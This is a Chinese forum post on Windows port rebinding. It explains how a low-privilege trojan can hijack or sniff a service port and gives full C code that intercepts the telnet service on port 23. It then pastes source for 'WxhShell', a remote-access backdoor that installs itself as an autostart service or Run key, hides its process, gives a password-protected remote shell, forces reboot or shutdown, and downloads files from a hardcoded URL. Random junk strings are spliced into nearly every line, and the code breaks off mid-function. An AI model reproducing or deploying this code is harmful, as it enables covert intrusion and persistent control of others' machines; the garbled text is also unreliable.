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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: BE0l2[i?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1V2]@VQF  
}b2YX+/e$f  
  saddr.sin_family = AF_INET; Biv)s@"f-Q  
9`f@"%h  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `3\aX|4@  
38w^=" -T  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); n-9xfn0U~#  
HT.,BF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 do8[wej<:  
xT> 9ZZcE  
  这意味着什么?意味着可以进行如下的攻击: FJ0I&FyWs  
`CWhjL8^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Au2?f~#Fv  
V?EX`2S  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )c11_1;  
()aCE^C  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 X.<3 /  
Ek<Qz5)  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !.UE}^TV  
#Vum  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .=eEuH  
rO#w(]   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Mxl;Im]!`.  
1hw.gn*JK>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y,:WLk~  
uX-^ 9t  
  #include =w3A{h"^  
  #include CU|E-XPW  
  #include e 6mZ;y5_  
  #include    aL:|Dr3SX  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nXn@|J&z~U  
  int main() /phMrL=  
  { :E-$:\V0}k  
  WORD wVersionRequested; g>t1rZ  
  DWORD ret; WK$\#>T  
  WSADATA wsaData; O7 ;=g!j  
  BOOL val; OJu>#   
  SOCKADDR_IN saddr; Q\4tzb]  
  SOCKADDR_IN scaddr; ,ciX *F"  
  int err; 8-@@QZ\N  
  SOCKET s; tU?BR<q  
  SOCKET sc; CT'4.  
  int caddsize; ;B@#,6t/  
  HANDLE mt; l,J>[Q`<  
  DWORD tid;   kn}^oRT  
  wVersionRequested = MAKEWORD( 2, 2 ); Z5xQ -T`  
  err = WSAStartup( wVersionRequested, &wsaData ); ^'=[+  
  if ( err != 0 ) { ;j9%D`u<  
  printf("error!WSAStartup failed!\n"); ow'G&<0b  
  return -1; 81E EYf  
  } ;t*SG*Vi  
  saddr.sin_family = AF_INET; fNLO%\G~2  
   GeJ}myD O  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 VEy]vr}  
QqQhQGV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); >c_fUX={  
  saddr.sin_port = htons(23); bit|L7*14  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CF>&mXg\  
  { ]r#b:W\  
  printf("error!socket failed!\n"); [\3ZMH *  
  return -1; E"'u2jEG^  
  } /)kJ iV  
  val = TRUE; O1~7#nJ*4[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 c1E{J <pZ  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gIrbOMQ7  
  { `xx.,;S  
  printf("error!setsockopt failed!\n"); +c/!R|h=S  
  return -1; 4L,wBce;,t  
  } w)|9iL8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~IYR&GEaUG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f?:=@35  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6:wk=#w  
Z-lhJ<0/Pa  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1qR$ Yr\  
  { C!:Lk,Z  
  ret=GetLastError(); YZ<z lU  
  printf("error!bind failed!\n"); [;Ih I  
  return -1; |$ ^3 5F  
  } 4!Radl3`  
  listen(s,2); Lxv;[2XsW)  
  while(1) 9n is8  
  { _`p-^ I  
  caddsize = sizeof(scaddr); $(gL#"T  
  //接受连接请求 +%j27~ R>D  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); d BB?A~  
  if(sc!=INVALID_SOCKET) EC5 = 2w<  
  { ^;ZpK@Luk  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QDW,e]A  
  if(mt==NULL) -BP10-V  
  { ~ Rk.x +  
  printf("Thread Creat Failed!\n"); md<^x(h"<  
  break; U]}FA2  
  } 7[P-;8)tq  
  } E`.hM}h  
  CloseHandle(mt); cY5;~lO  
  } ,mx\ -lWFy  
  closesocket(s); q#AIN`H  
  WSACleanup(); y;CX )!8  
  return 0; st* sv}  
  }   (/nnN4\=  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4Cu\|"5)  
  { kh# QT_y  
  SOCKET ss = (SOCKET)lpParam; ,9d]-CuP;  
  SOCKET sc; IagM#}m@  
  unsigned char buf[4096]; mWYrUI  
  SOCKADDR_IN saddr; w>cqsTq  
  long num; Wk7E&?-:6  
  DWORD val; yYGs] +  
  DWORD ret; u; KM[FmK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ,ja!OZ0$  
  saddr.sin_family = AF_INET; awo'#Y2>  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bwhH2^ !  
  saddr.sin_port = htons(23); 'u x!:b"  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Nc(CGl:  
  { <$s sU{5  
  printf("error!socket failed!\n"); 9s_^?q  
  return -1; y>w;'QR&a  
  } { rLgyrj$  
  val = 100; s !?uLSEdb  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "P#1=  
  { dq.U#Rhrx  
  ret = GetLastError(); TaD;_)(  
  return -1; B VeMV4  
  } wHs1ge(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OWwqCPz.  
  { nl 'MWP  
  ret = GetLastError(); R+NiIoa  
  return -1; %H\J@{f  
  } h_#=f(.'j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) V6P-?Nd  
  { 5z 0VMt  
  printf("error!socket connect failed!\n"); `WXlq#:K  
  closesocket(sc); nyi!D   
  closesocket(ss); F<b'{qf"  
  return -1; :!g|pd[{ag  
  } '42$O  
  while(1) <skqq+  
  { $2h%IK>#G  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $4xSI"+M%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 \t=0rFV)t  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Q >/,QX  
  num = recv(ss,buf,4096,0); <9ucpV  
  if(num>0) LE<J<~2Z  
  send(sc,buf,num,0); r~)fAb?  
  else if(num==0) _Z[0:4  
  break; JXJ+lZmsz  
  num = recv(sc,buf,4096,0); mF\!~ag|  
  if(num>0) z4SJxL  
  send(ss,buf,num,0); edo)W mn  
  else if(num==0) =D$ED^W  
  break; uRko[W(  
  } J;obh.}u"{  
  closesocket(ss); u5A?; a  
  closesocket(sc); * $f`ouJl  
  return 0 ; IANSpWea?  
  } Q"qI'*Kgt  
q_.fVn:!  
vO1; ;  
========================================================== aq$ hE-{28  
@Iz]:@\cJ  
下边附上一个代码,,WXhSHELL #3qeRl  
DSz[,AaR]  
========================================================== C*(  
D8Fi{?A#FV  
#include "stdafx.h" ;_(f(8BO   
\Vf:/9^  
#include <stdio.h> D|9+:Y  
#include <string.h> n6% `  
#include <windows.h> 7_i8'(``  
#include <winsock2.h> *z0d~j*W;  
#include <winsvc.h> tNT Sy =  
#include <urlmon.h> |[>@Kk4  
Zl5'%b$&  
#pragma comment (lib, "Ws2_32.lib") !e|\1v'0  
#pragma comment (lib, "urlmon.lib") pIlEoG=[_  
p' >i3T(  
#define MAX_USER   100 // 最大客户端连接数 xN-,gT'!  
#define BUF_SOCK   200 // sock buffer 1/Ts .\K3  
#define KEY_BUFF   255 // 输入 buffer -)}s{[]d6m  
f,HUr% @  
#define REBOOT     0   // 重启 #Lhv=0op  
#define SHUTDOWN   1   // 关机 C27:ty V  
uNzc,OH  
#define DEF_PORT   5000 // 监听端口 dDPQDIx  
Ym6d'd<9(  
#define REG_LEN     16   // 注册表键长度 @oAz  
#define SVC_LEN     80   // NT服务名长度 lME>U_E  
jfuHZ^YA  
// 从dll定义API 8?+|4:#=*J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GDxv2^4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =5+*TL`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /\8I l+0  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j<<d A[X  
F_ F"3'[  
// wxhshell配置信息 V"4Z9Qg}  
struct WSCFG { !ZBtXt#P  
  int ws_port;         // 监听端口 CZ5\Et6r  
  char ws_passstr[REG_LEN]; // 口令 ^LMgOA(7  
  int ws_autoins;       // 安装标记, 1=yes 0=no X06Lr!-%  
  char ws_regname[REG_LEN]; // 注册表键名 YQ+hQ:4-  
  char ws_svcname[REG_LEN]; // 服务名 EA& 3rI>U)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 z]G|)16  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gfQ?k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T D _@0Rd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;m(iKwDt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [oLV,O|s|j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ywa*?3?c  
THYw_]K  
}; isZ5s\  
^|Q]WHNFB  
// default Wxhshell configuration x e`^)2z  
struct WSCFG wscfg={DEF_PORT, Z3`EXs  
    "xuhuanlingzhe", @]@|H?  
    1, d?2V2`6  
    "Wxhshell", &|hK79D  
    "Wxhshell", cr1x CPJj  
            "WxhShell Service", Ke$_l]}  
    "Wrsky Windows CmdShell Service", 4%(Ji  
    "Please Input Your Password: ", Y2H-D{a27  
  1, wcGK *sWG-  
  "http://www.wrsky.com/wxhshell.exe", 4qQ,1&!]S  
  "Wxhshell.exe" b^1QyX^?:  
    }; * DL7p8  
aLO^>",  
// 消息定义模块 aB]0?C y9(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; % Y^J''  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )kD/ 8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^jdU4  
char *msg_ws_ext="\n\rExit."; @A/k"Ax{r  
char *msg_ws_end="\n\rQuit."; @YJI'Hf67  
char *msg_ws_boot="\n\rReboot..."; lPTx] =G  
char *msg_ws_poff="\n\rShutdown..."; &gXh:.  
char *msg_ws_down="\n\rSave to "; tq3Wga!5  
M;(,0dk  
char *msg_ws_err="\n\rErr!"; f-b],YE  
char *msg_ws_ok="\n\rOK!"; Z~5) )5Ye;  
rd%%NnT"  
char ExeFile[MAX_PATH]; jwZ,_CK  
int nUser = 0; *ukyQZ9  
HANDLE handles[MAX_USER]; r~4uIUE{  
int OsIsNt; 0 'QWa{dS\  
\CbJU  
SERVICE_STATUS       serviceStatus; IPiV_c-l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }lJ;|kx$  
$XBK_ 5  
// 函数声明 U.%Kt,qB  
int Install(void); {zdMmpQF  
int Uninstall(void); "}4%vZz  
int DownloadFile(char *sURL, SOCKET wsh); 'D\Q$q  
int Boot(int flag); ).k DY ?s  
void HideProc(void); vvoxK0  
int GetOsVer(void); Cs'LrUB?=U  
int Wxhshell(SOCKET wsl); 7s9h:/Lu  
void TalkWithClient(void *cs); $pGT1oF[E  
int CmdShell(SOCKET sock); @f!X%)\;x  
int StartFromService(void); 'M90Yia  
int StartWxhshell(LPSTR lpCmdLine); ;JW_4;-  
c8RJOc4X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }pc9uvmIJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %u -x9  
6 SSDc/  
// 数据结构和表定义 ny={OhP-  
SERVICE_TABLE_ENTRY DispatchTable[] = d:H'[l.F%  
{ gEA SYIQ  
{wscfg.ws_svcname, NTServiceMain}, eim+oms  
{NULL, NULL} <g4}7l8  
}; Hvl n>x@  
ZzT=m*tQ&  
// 自我安装 ^)VwxH:s  
int Install(void) vW63j't_  
{ I<SgKva;c  
  char svExeFile[MAX_PATH]; bp1AN9~  
  HKEY key; 8% @| /  
  strcpy(svExeFile,ExeFile); Dn- gP  
FhE{khc#  
// 如果是win9x系统,修改注册表设为自启动 G)3I+uxn  
if(!OsIsNt) { 'j1e(wq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x3@-E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O 4 !$  
  RegCloseKey(key); J 3!~e+wn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |s|}u`(@9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #cbgp;,M{I  
  RegCloseKey(key); Rx%S<i;9  
  return 0; xU *:a[g  
    } 3} A$+PX  
  } (FuIOR  
} p!.~hw9  
else { )?n'ZhsX  
yPyu)  
// 如果是NT以上系统,安装为系统服务 | HazM9=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yDWIflP0;  
if (schSCManager!=0) Bqx5N"  
{  cby#  
  SC_HANDLE schService = CreateService 0X$mT:=9  
  ( S_}`'Z )  
  schSCManager, 7#8Gn=g  
  wscfg.ws_svcname, gN&i &%*!  
  wscfg.ws_svcdisp, LQ0/oYmNc  
  SERVICE_ALL_ACCESS, GW2\YU^{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \l+v,ELX=  
  SERVICE_AUTO_START, Cu"Cpt[  
  SERVICE_ERROR_NORMAL, bbm\y] !t  
  svExeFile, GAGS-G#  
  NULL, |dRVSVN  
  NULL, CB@7XUR  
  NULL, 3? {AGJ1  
  NULL, LiJYyp  
  NULL Z%T Ajm  
  ); -@To<<`n  
  if (schService!=0) P<<$o-a"  
  { _=v#"l  
  CloseServiceHandle(schService); 6r7>nU&d  
  CloseServiceHandle(schSCManager); 8&<:(mAP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m 0HK1'  
  strcat(svExeFile,wscfg.ws_svcname); 'uPAG;)m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Lx"GBEkt7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #A63?kDE&&  
  RegCloseKey(key); 3G} )$y3m  
  return 0; Ik G&  
    }  56.!L  
  } "hkcN+=  
  CloseServiceHandle(schSCManager); hU)t5/h;K  
} ldv@C6+J  
} F!z0N&#  
}$6L]   
return 1; q? ,PFvs"  
} *X5)9dq  
obb%@S`  
// 自我卸载 @!ChPl  
int Uninstall(void) yR[6s#F/h  
{ 43=v2P0=Tj  
  HKEY key; k %I83,+  
rxCzPF  
if(!OsIsNt) { *yq65yZi5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xATx2*@X2  
  RegDeleteValue(key,wscfg.ws_regname); }1a}pm2p  
  RegCloseKey(key); V"Q\7,_k.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SX4*804a_  
  RegDeleteValue(key,wscfg.ws_regname); K:Z$V  
  RegCloseKey(key); L*z=!Dpo  
  return 0; p1N}2]e  
  } OVK )]- ~  
} /VR~E'Cy%  
} y6(PG:L  
else { z?/_b  
mV0,T*}e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _!xrBdaJ  
if (schSCManager!=0) jIh1)*]054  
{ $]7f1U_e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Tigw+2  
  if (schService!=0) "Eh=@?]S_  
  { bWSN]]e1#  
  if(DeleteService(schService)!=0) { YQ0#j'}/  
  CloseServiceHandle(schService); |)x7qy`  
  CloseServiceHandle(schSCManager); IjI'Hx  
  return 0; >Kgw2,y+  
  } RhWQ:l]  
  CloseServiceHandle(schService); ==Gc%  
  } _p$/.~Xo9  
  CloseServiceHandle(schSCManager); Dfs^W{YA  
} LV}R 9f  
} <2U#U;  
96WzgHPWo  
return 1; zt.k Nb  
} vQWmHv\P  
!GOaBs  
// 从指定url下载文件 *%xbn8  
int DownloadFile(char *sURL, SOCKET wsh) .}faWzRH9  
{ s5~k]"{j  
  HRESULT hr; ^'3c%&Zf3  
char seps[]= "/"; x*OdMr\n8?  
char *token; /x3*oO1  
char *file;  "'4  
char myURL[MAX_PATH]; o.KnDY  
char myFILE[MAX_PATH]; -K|1w'E  
G ;j1zs  
strcpy(myURL,sURL); !y_FbJ8KC  
  token=strtok(myURL,seps); s8-RXEPb  
  while(token!=NULL) n;Bb/Z!~  
  { t:wBh'K~R8  
    file=token; Wf c/?{  
  token=strtok(NULL,seps); B=A!hXNa  
  } x`E<]z*w}  
; Y/nS  
GetCurrentDirectory(MAX_PATH,myFILE); F ~A $7  
strcat(myFILE, "\\"); 5CK+\MK  
strcat(myFILE, file); ElO|6kOBYG  
  send(wsh,myFILE,strlen(myFILE),0); ~  QRjl  
send(wsh,"...",3,0); ns~]a:1yh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 8LV6E5Q  
  if(hr==S_OK) E/cV59  
return 0; HK )m^!=  
else "Enb   
return 1; u X,n[u  
b1Vr>:sK47  
} E{ /, b)  
E &9<JS  
// 系统电源模块 r<!hEWO>v  
int Boot(int flag) oAO{4xP  
{ T)P)B6q   
  HANDLE hToken;  kN=&"  
  TOKEN_PRIVILEGES tkp; Y`~B> J  
N.*)-O  
  if(OsIsNt) { )j;^3LiV3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HH*y$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kQkc+sGJf  
    tkp.PrivilegeCount = 1; '0 Cp  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \2@J^O1,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ///Lg{ ie  
if(flag==REBOOT) { ?NwrdcQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _?-oPb  
  return 0; <vcU5 .K.  
} $udhTI#,  
else { j(%N.f6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1$b@C-B@g  
  return 0; 0+SDFh  
} +/[M Ex=   
  } m-t: ' B  
  else { qfsPX6]  
if(flag==REBOOT) { .D@J\<,+l  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) yzN[%/  
  return 0; ,l~<|\4,wv  
} X&9: ^$m  
else { #Hrzk!&9   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZV gfrvZP  
  return 0; )- W1Wtom  
} >!Yuef <P  
} t5{P'v9J  
l 5-[a  
return 1; 8m") )i-  
} {KgA V  
^}+\52w  
// win9x进程隐藏模块 i}vJI}S.$  
void HideProc(void) f3O6&1D  
{ xFF!)k #  
FMdu30JV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9rEBq&  
  if ( hKernel != NULL ) x*Z'i<;B  
  { >[ B.y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &vrQ *jX  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $e+sqgU  
    FreeLibrary(hKernel); [rx9gOOa&  
  } '?C6P5fm  
m|q,i xg  
return; c9+G Qp  
} g,d_  
"'CvB0>   
// 获取操作系统版本 8R*;8y_  
int GetOsVer(void) e \Qys<2r  
{ ]c>@RXY'  
  OSVERSIONINFO winfo; `N\ ^JAGW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m]jA(  
  GetVersionEx(&winfo); n%3!)/$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h:fiUCw  
  return 1; ( eKgc  
  else `4*I1WZW  
  return 0; S1$^ _S =  
} l>\EkUT  
hF$`=hE,F~  
// 客户端句柄模块 4o#]hB';ni  
int Wxhshell(SOCKET wsl) lgews"  
{ SrKitSG  
  SOCKET wsh; J2qsZ  
  struct sockaddr_in client; b/_Zw^DPC  
  DWORD myID; b^HDN(v  
q=t!COS  
  while(nUser<MAX_USER) d7^ `  
{ Pk;w.)kT  
  int nSize=sizeof(client); h8(#\E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d.+*o  
  if(wsh==INVALID_SOCKET) return 1; cH&)Iz`f  
_s;y0$O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Bj 7* 2}  
if(handles[nUser]==0) 2 `AdNt,  
  closesocket(wsh); Z 7@'I0;A  
else i~Tt\UA>  
  nUser++; S #GxKMO%  
  } k^}[+IFJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); W5u5!L/  
~);4O8~.  
  return 0; s:_hsmc"  
} THwM',6  
5.^pD9[mT  
// 关闭 socket %<kfW&_>w  
void CloseIt(SOCKET wsh) .6gx|V+  
{ K#A&  
closesocket(wsh); s{dm,|?Jl,  
nUser--; 1 fcV&qHR  
ExitThread(0); 1t e^dh:Vp  
} "c[>>t  
| va@&;#wf  
// 客户端请求句柄 :P q&l.  
void TalkWithClient(void *cs) 21OfTV-+3  
{ lH3.q4D 5  
`)a|Q  
  SOCKET wsh=(SOCKET)cs; '5aA+XP|  
  char pwd[SVC_LEN]; #m|el@)  
  char cmd[KEY_BUFF]; !po,Z&  
char chr[1]; L@\t] ~  
int i,j; /eHf8l  
_j+,'\B  
  while (nUser < MAX_USER) { k Fl* Im  
Sp[9vlo8  
if(wscfg.ws_passstr) { oRd{?I&NY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9]3l'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .U(6])%;@  
  //ZeroMemory(pwd,KEY_BUFF); *4~7p4 [  
      i=0; !$HuH6_[  
  while(i<SVC_LEN) { _LF'0s*  
IRM jL.q  
  // 设置超时 3R/6/+S-  
  fd_set FdRead; I&|8 qx#  
  struct timeval TimeOut; f@Mku0VT  
  FD_ZERO(&FdRead); "a(R>PV%  
  FD_SET(wsh,&FdRead); ;2h"YU-b  
  TimeOut.tv_sec=8; 07^.Z[(pCt  
  TimeOut.tv_usec=0; "^t7]=q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3=]/+{B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C|}yE ;*a  
vasw@Uto)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NHZMH!=4:n  
  pwd=chr[0]; lU|ltnU  
  if(chr[0]==0xd || chr[0]==0xa) { Nj6Np^@sH  
  pwd=0; 3>(~5  
  break; %|@?)[;  
  } Ge$&k  
  i++; e7G>'K  
    } W(ZEqH2  
J'cE@(US  
  // 如果是非法用户,关闭 socket Ql7opl,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Qvny$sr2  
} f`8fNt  
)P1NX"A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^R\5'9K!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z"5e3w  
FlS)m`  
while(1) { X pXhg*}K  
=L$RY2S"  
  ZeroMemory(cmd,KEY_BUFF); + $~HRbo  
W6B o\UK  
      // 自动支持客户端 telnet标准   hy"p8j7_  
  j=0; }xrrHp  
  while(j<KEY_BUFF) { fZd~},X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Rx<[bohio  
  cmd[j]=chr[0]; `Geq,  
  if(chr[0]==0xa || chr[0]==0xd) { mR{%f?B  
  cmd[j]=0; )fZ5.W8UE]  
  break; `.6Jgfu  
  } =7P; /EV  
  j++; 4ri)%dl1  
    } nfvs"B;  
9aqFdlbY  
  // 下载文件 qf] OSd  
  if(strstr(cmd,"http://")) { .+AO3~Dg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); NOmSLIgt7  
  if(DownloadFile(cmd,wsh)) Vo2frWF$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); d>4e9M "  
  else fs]Zw mA^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TA Yt:  
  } e$(i!G)  
  else { M/sqOhg  
5p{tt;9[  
    switch(cmd[0]) { J>Rt2K  
  g?o$:>c  
  // 帮助 u&I~%s  
  case '?': { R}+/jh2O|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M!6bf  
    break; Xhkw<XbV  
  } qV$',U*+T  
  // 安装 z06pX$Q.<  
  case 'i': { +Vf|YLbhJ  
    if(Install()) d`nS0Tf'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (U dDp"/  
    else TAC\2*bWje  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~O 6~',KD  
    break; \M532_w  
    }  FZ2-e  
  // 卸载 s* YFN#Wuc  
  case 'r': { :3n.nKANr  
    if(Uninstall()) |95/'a*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;qk~>  
    else =<_5gR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o5$K^2^g  
    break; @ Q1jH~t  
    } Zz&i0 r  
  // 显示 wxhshell 所在路径 A0X0t  
  case 'p': { YXg uw7%\  
    char svExeFile[MAX_PATH]; uN(~JPAw5  
    strcpy(svExeFile,"\n\r"); -5 W0K}  
      strcat(svExeFile,ExeFile); B+DRe 8  
        send(wsh,svExeFile,strlen(svExeFile),0); ry]7$MQyV  
    break; 9G8QzIac  
    } ;VFr5.*x  
  // 重启 hCvn(f  
  case 'b': { *f#4S_ws`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ` U3  
    if(Boot(REBOOT)) )|a9Z~#x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2!3&Ub#FO  
    else { ?W|IC8~d')  
    closesocket(wsh); "qm>z@K  
    ExitThread(0); fBOPd =  
    } VfcQibm  
    break; Z%{f[|h9}  
    } ` j<tI6[e  
  // 关机 wqOhJYc  
  case 'd': { F`Y<(]+   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZtLn*M  
